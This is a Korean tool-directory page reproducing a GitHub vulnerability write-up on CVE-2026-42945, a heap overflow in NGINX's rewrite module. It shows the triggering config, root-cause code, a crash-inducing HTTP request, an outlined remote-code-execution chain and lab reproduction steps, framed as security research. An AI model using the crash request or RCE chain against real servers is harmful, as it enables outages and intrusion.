Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42945 — NGINX Rift 漏洞分析与复现 | Kitploit
도구/GitHubGitHub/rheodev/cve-2026-42945
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHubrheodev/cve-2026-42945

CVE-2026-42945

NGINX Rift 漏洞分析与复现

저장소 보기
2153개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42945 - NGINX Rift 취약점 분석 및 재현

개요

CVE-2026-42945(코드명 "NGINX Rift")는 NGINX ngx_http_rewrite_module에 존재하는 힙 버퍼 오버플로 취약점으로, CVSS v4 점수 **9.2(Critical)**입니다.

이 취약점은 depthfirst 보안 연구팀이 2026년 4월에 발견했으며, 2008년 NGINX 0.6.27 버전에서 도입된 후 18년 동안 잠복했습니다.

영향 범위

  • NGINX Open Source 0.6.27 ~ 1.30.0
  • NGINX Plus R32 ~ R36
  • NGINX Instance Manager 2.16.0 ~ 2.21.1
  • F5 WAF for NGINX 5.9.0 ~ 5.12.1
  • NGINX App Protect WAF 4.9.0 ~ 4.16.0 및 5.1.0 ~ 5.8.0
  • NGINX Gateway Fabric 1.3.0 ~ 1.6.2 및 2.0.0 ~ 2.5.1
  • NGINX Ingress Controller 3.5.0 ~ 3.7.2, 4.0.0 ~ 4.0.1, 5.0.0 ~ 5.4.1

수정 버전

  • NGINX 1.31.0(2026년 5월 13일 릴리스)

트리거 조건

취약점을 트리거하려면 다음 NGINX 구성 패턴이 필요합니다:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

핵심 조건:

  1. rewrite 지시문의 대체 문자열에 ?(물음표)가 포함됨
  2. 이후 set 지시문이 정규식 캡처 그룹(예: $1)을 참조
  3. 요청 URI에 이스케이프 가능 문자(예: +, &, % 등)가 포함됨

근본 원인 분석

스크립트 엔진의 2단계 처리

NGINX 스크립트 엔진은 2단계 처리를 통해 rewrite/set 지시문을 실행합니다:

  1. 1단계(길이 계산): 최종 문자열에 필요한 메모리 크기 계산
  2. 2단계(데이터 복사): 실제 데이터를 할당된 버퍼에 기록

상태 불일치로 인한 오버플로

취약점의 핵심은 두 단계 사이의 엔진 상태 불일치입니다:

1단계: rewrite가 is_args 플래그 설정

rewrite 지시문의 대체 문자열에 ?가 포함되면 ngx_http_script_start_args_code 함수가 다음을 설정합니다:

root@kitploit:~
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
    e->is_args = 1;  // // 영구 설정, 절대 재설정되지 않음!
    e->args = e->pos;
    e->ip += sizeof(uintptr_t);
}

2단계: set 지시문의 길이 계산은 새 하위 엔진 사용

이후 set 지시문이 캡처 그룹을 참조할 때 ngx_http_script_complex_value_code는 전체가 0인 하위 엔진을 생성합니다:

root@kitploit:~
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
    ngx_http_script_engine_t le;
    // ...
    ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
    le.ip = code->lengths->elts;

3단계: 길이 계산과 실제 복사의 차이

길이 계산(하위 엔진 le 사용, is_args=0):

root@kitploit:~
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
    // is_args=0, 조건이 false이므로 else 분기
    return cap[n + 1] - cap[n];  // // 원본 길이 반환(이스케이프되지 않음)
}

실제 복사(주 엔진 e 사용, is_args=1):

root@kitploit:~
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
    // is_args=1, 조건이 true이므로 if 분기
    e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
                                        cap[n + 1] - cap[n],
                                        NGX_ESCAPE_ARGS);
    // // 각 이스케이프 가능 문자는 1바이트에서 3바이트로 확장됨!
}

오버플로 크기

  • 할당된 버퍼 크기: raw_size(원본 캡처 길이)
  • 실제 쓰기 크기: raw_size + 2 * N(N = 이스케이프 가능 문자 수)
  • 오버플로 양 = 2 * N 바이트

예를 들어 URI에 +가 100개 있으면 오버플로 양은 200바이트입니다.

공격 방법

1. DoS(서비스 거부)

가장 간단한 공격 방법 - 이스케이프 가능 문자가 많이 포함된 요청을 보내면 worker 프로세스가 충돌합니다:

root@kitploit:~
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com

2. RCE(원격 코드 실행)

완전한 RCE 공격 체인(ASLR이 꺼져 있거나 우회된 상태 필요):

  1. 힙 레이아웃 제어: 연결 순서를 통해 ngx_pool_t의 힙 레이아웃 제어
  2. 오버플로로 cleanup 포인터 덮어쓰기: 인접한 메모리 풀 구조로 오버플로
  3. 가짜 cleanup 구조 분사: POST 요청 본문을 통해 system() 주소가 포함된 가짜 구조 주입
  4. 실행 트리거: 피해 연결을 닫아 ngx_destroy_pool이 cleanup 연결 리스트를 순회하도록 유발

NGINX의 다중 프로세스 아키텍처는 공격을 더욱 신뢰성 있게 만듭니다. worker가 충돌하면 master가 메모리 레이아웃이 완전히 동일한 새 worker를 포크합니다.

파일 설명

  • README.md - 본 파일, 취약점 분석 문서
  • Dockerfile - 취약한 NGINX 환경 구축
  • nginx.conf - 취약점을 트리거하는 NGINX 구성
  • poc_crash.py - DoS PoC(worker 충돌 트리거)
  • docker-compose.yml - 한 번의 명령으로 테스트 환경 시작

빠른 재현

root@kitploit:~
# 1. 취약한 NGINX 빌드 및 시작
docker-compose up -d

# 2. DoS PoC 실행
python3 poc_crash.py

# 3. NGINX 오류 로그 확인으로 충돌 확인
docker-compose logs nginx

참고 자료

  • NGINX 공식 CHANGES - 수정 공지
  • depthfirst 연구 보고서 - 원본 취약점 발견자의 기술 분석
  • F5 보안 권고 K000160932 - 공식 보안 권고

면책 조항

본 자료는 보안 연구 및 교육 목적으로만 제공됩니다. 이 정보를 승인되지 않은 공격 행위에 사용하지 마십시오.

도구 다운로드